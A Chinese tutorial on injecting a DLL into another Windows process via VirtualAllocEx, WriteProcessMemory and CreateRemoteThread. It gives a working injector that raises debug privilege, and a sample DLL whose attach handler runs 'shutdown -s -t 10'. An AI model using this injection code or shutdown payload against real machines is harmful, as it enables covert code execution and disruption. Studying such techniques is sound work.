首页 > 代码库 > C++进程注入(通过远程线程注入进程)

C++进程注入(通过远程线程注入进程)

需要本文代码请直接跳到文章最底部下载

注入进程的方法有很多,本文主要介绍通过远程线程来注入进程的方法;
我们知道,每个进程都有4GB的地址空间,windows可用的大小大概为1.5GB左右,远程线程注入的方法主要是,打开一个线程以后,将要注入的动态库的地址写入这个地址空间,然后调用开启远程线程的函数,来执行LoadLibraryA或者LoadLibraryW(其实不存在LoadLibrary这个函数,他只是一个宏,如果是UNICODE环境的话会调用LoadLibraryW,否则就是LoadLibraryA)来执行这个动态库,动态库一旦被加载起来,DllMain中的DLL_PROCESS_ATTACH则会被执行,我们将要执行的代码写在DLL_PROCESS_ATTACH分支即可

下面开始通过代码来分析进程注入
1,需要打开一个我们想注入的进程,通过API  OpenProcess 打开,这个函数第一个参数主要是打开函数以后希望获取到的权限,因为我们需要开辟一块内,所以我的设置如下PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,表示我可以在进程内对他的内存进行读写、查询等操作,第二个参数设置FALSE就好了,第三个是我们想打开的进程的ID,这个是进程的唯一的一个标识,打开以后,如果成功,返回的HANDLE不为空,如果调用getLaseError返回的错误码是5的话 表示权限不足,需要提权(代码里面有提权函数)

2,进程成功打开以后,我们就要在进程里面开辟一内存,写入一点东西,写入的东西就是我们需要执行的动态库的地址,前面说了,我们需要调用LoadLibraryW来执行一个动态库,那么就要把动态库的文件地址写入目标进程,因为进程之间的变量都是独立的,我们在目标进程是读取不到(暂时这么理解)当前进程的一些变量的值得,所以必须得把我们要执行的动态库的文件地址写入目标进程,这样LoadLibraryW 才能找到 我们的动态库在哪~
通过调用VirtualAllocEx来开辟内存,具体的参数解释可以查阅百度,如果,内存开辟成功了,我们就要开始往内存中写 需要用到WriteProcessMemory函数,第一个参数是进程的HANDLE,第二个参数是要写入的地址,就用VirtualAllocEx返回的内存地址就好了,然后是需要写入什么,写入多大等,写入的内容就是我们动态库的地址,大小就是这个地址的字符串的长度,比如我的动态库的地址是"c:\\DllTest2.dll" 这就是我写入的内容,长度调用下库函数就可以求出来了


3.上面两步都完成以后,就可以开始用GetProcAddress 来获取LoadLibraryW的地址了~ 一般写法如下PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW"); 表示从Kernel32模块中,吧LoadLibraryW函数地址找出来,找出来以后,我们就需要开启一个远程线程,来执行我们的DLL,函数是CreateRemoteThread,这个函数跟CreateThrea就第一个参数不同,CreateRemoteThread第一个参数表示目标进程的HANLE,其他参数一样,线程的函数我们就写pfnStartAddr  也就是GetProcAddress的返回值(表示LoadLibraryW),线程的参数填写我们要注入的DLL地址即可,到这一步,运行代码,DLL已经可以成功的注入目标进程了(当然,最好做一些清理工作),贴下我的代码吧!


注入进程的代码
//szModel DLL的地址 nProcessID目标进程的ID
BOOL Ingect(LPCTSTR szModel , DWORD nProcessID)
{
    EnableDebugPriv();
    HANDLE open = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|
        PROCESS_VM_OPERATION|PROCESS_QUERY_INFORMATION,
        FALSE,nProcessID);
    if(!open)
    {
        return FALSE;
    }
    int cbyte = (_tcslen(szModel)+1)*sizeof(TCHAR);
    LPVOID pAddr = VirtualAllocEx(open,NULL,cbyte,MEM_COMMIT,PAGE_READWRITE);
    if(!pAddr || !WriteProcessMemory(open,pAddr,szModel,cbyte,NULL))
    {
        return FALSE;
    }

#ifdef _UNICODE
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryW");
#else
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")),"LoadLibraryA");
#endif
    if(!pfnStartAddr)
    {
        return FALSE;
    }
    DWORD threadID;
    HANDLE thread = CreateRemoteThread(open,NULL,0,pfnStartAddr,pAddr,0,&threadID);
    WaitForSingleObject(thread,INFINITE);
    VirtualFreeEx(open,pAddr,cbyte,MEM_COMMIT);
    CloseHandle(thread);
    CloseHandle(open);
    return TRUE;
}


DLL代码 我只是简单的弹出一个提示框,然后就调用CMD命令关机,代码如下
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                         )
{
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        MessageBox(NULL,TEXT("关机代码"),TEXT("关机代码"),0);
        system("shutdown -s -t 10");
        break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
}

下面是在我虚拟机执行的效果图:
 

 

附件为我的工程的全部代码,包含权限提升,通过进程名查找进程ID,不包含我之前写的DLL

http://www.bcwhy.com/thread-21532-1-1.html

C++进程注入(通过远程线程注入进程)